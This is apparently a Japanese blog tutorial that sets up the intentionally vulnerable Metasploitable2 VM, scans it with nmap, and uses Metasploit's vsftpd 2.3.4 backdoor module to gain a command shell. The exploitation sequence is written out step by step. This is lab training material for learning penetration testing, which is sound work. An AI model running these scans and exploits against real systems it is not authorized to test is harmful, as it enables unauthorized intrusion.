セキュリティ

「Metasploitable2」で学ぶKali Linuxの基本#1[Nmap,vsftpdの脆弱性]

今回は、前回インストールしたKali Linuxを触っていきましょう。

All in Oneな「Kali Linux」 ・記事の内容に関して自分の管理していないコンピュータ(レンタルサーバーも含む)に攻撃をすると法律に抵触する場合があります。注...

・記事の内容に関して自分の管理していないコンピュータ(レンタルサーバーも含む)に攻撃をすると法律に抵触する場合があります。注意してください。

・記事の内容について何らかの損害を受けた場合も一切の責任を負いません。自己責任でお願いします。

Metasploitable2をつかう

まず、Kaliのいろいろな機能に触れていくためにいろいろな脆弱性(セキュリティ上の弱い部分)を持ったOSを使用します。仮想マシンだと外部から隔離するように設定が簡単にできるので便利です。ダウンロードしていきます。

https://sourceforge.net/projects/metasploitable/

sourceforgeからダウンロードしましょう。終わったら展開します。

インポート

まず、VirtualBoxの新規をクリックしてHardDiskのところでUse an existing Virtual Hard disk file(日本語だとなんだっけ)を選択してMetasploitable2のファイルを選択します。

そうしたら、そのまま設定を進めて、VirtualBoxのトップ画面からHost Network ManagerをクリックしてCreateをクリック、DHCPを有効にします。

これはVirtualBox内での接続に加え、ホストも参加できる(例えばVirtualBoxを実行しているのがMacであればMacもそのネットワークに参加できる)ように設定します。逆に、これ以外は接続することができません。VirtualBox内から外のインターネットに接続することもできませんl

次に仮想マシンの設定からNetworkよりホストオンリーアダプターを選択します。

それでは起動をして、ユーザー名:msfadmin

パスワード:msfadminでログインできます。

ここでこの仮想マシンのIPアドレスを確認しておいてください。

$ ip a

ポートスキャン

では実際に攻撃に移っていきましょう。まず、Kaliのターミナルを開きます。次にnmapというポートスキャナーを実行します。ポートとはそのパソコンに接続するためのドアのようなものです。

$ nmap -Pn -A -p- 192.168.56.***

192.168.56.***は自分の先程調べたものを使用してください。

-Pnはpingで、-p-は全てのポートを、-AはOSなどを調べてくれます。しばらくするとこのようなログが流れると思います。

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-27 18:36 EDT
Nmap scan report for 192.168.56.3
Host is up (0.00046s latency).
Not shown: 65505 closed ports
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.56.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
|_ssl-date: 2021-06-27T13:56:26+00:00; -8h42m39s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|_    SSL2_DES_192_EDE3_CBC_WITH_MD5
53/tcp    open  domain      ISC BIND 9.4.2
| dns-nsid: 
|_  bind.version: 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp   open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/udp   nfs
|   100005  1,2,3      47298/udp   mountd
|   100005  1,2,3      50840/tcp   mountd
|   100021  1,3,4      54036/tcp   nlockmgr
|   100021  1,3,4      56681/udp   nlockmgr
|   100024  1          53827/tcp   status
|_  100024  1          56580/udp   status
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login
514/tcp   open  shell       Netkit rshd
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
| mysql-info: 
|   Protocol: 10
|   Version: 5.0.51a-3ubuntu5
|   Thread ID: 9
|   Capabilities flags: 43564
|   Some Capabilities: SupportsCompression, SwitchToSSLAfterHandshake, LongColumnFlag, SupportsTransactions, ConnectWithDatabase, Speaks41ProtocolNew, Support41Auth
|   Status: Autocommit
|_  Salt: eeK*/Mu(a4|8?uNe2g3g
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-date: 2021-06-27T13:56:26+00:00; -8h42m39s from scanner time.
5900/tcp  open  vnc         VNC (protocol 3.3)
| vnc-info: 
|   Protocol version: 3.3
|   Security types: 
|_    VNC Authentication (2)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
50840/tcp open  mountd      1-3 (RPC #100005)
53827/tcp open  status      1 (RPC #100024)
54036/tcp open  nlockmgr    1-4 (RPC #100021)
55055/tcp open  java-rmi    GNU Classpath grmiregistry
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -7h42m38s, deviation: 2h00m00s, median: -8h42m39s
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name: 
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|_  System time: 2021-06-27T09:56:17-04:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 139.41 seconds

大量のポートが開いていることがわかります。とりあえず一番上から見ていきましょう。

21/tcp    open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.56.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status

FTP serverのようです。ちなみにvsftpd 2.3.4というバージョンには脆弱性があります。2.3.4のアップデートがサーバーで公開された際にそのサーバーがクラッキングされ、ユーザー名が:)をふくむとバックドアが開くというものです。実際にやってみましょう。Metasploit Frameworkを使います。

$ sudo msfconsole

でコンソールを開きます。しばらく時間がかかります。

msf6>という感じのプロンプトになったら起動完了です。Metasploit Frameworkについてはのちに詳しく説明するつもりです。

vsftpdについて調べてみます。

msf6> search vsftpd

すると、このように返答されました。

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

vsftpd 2.3.4のバージョンに脆弱性があることがわかります。先ほど調べたvsftpdと同じバージョンです。これを使ってMetasploitableに侵入してみましょう。

まず、このexploitを選択します。

msf6> use exploit/unix/ftp/vsftpd_234_backdoor

次にこのexploitの必要とするオプションを表示します。

msf6> show options

RHOSTSが空になっています。rhostはターゲットホストなのでMetaploitableのIPアドレスを設定します。

msf6> set rhost 192.168.56.***

exploitを実行します。

msf6> exploit

[*]Command shell session * openedと表示されれば成功です。一つ目の侵入に成功しました。

 

RaspberryPi

「あったらいいな」というものを実現してみましょう。「RaspberryPi」なら、つくれるかもしれません。RaspberryPiは超小型コンピューターですが、普通のコンピューターを大きく違う点は「電子工作」ということをして、普通のパソコンではできない、電子部品などを動かすことができるということです。「RaspberryPi」をつかって、やりたいことを実現してみましょう。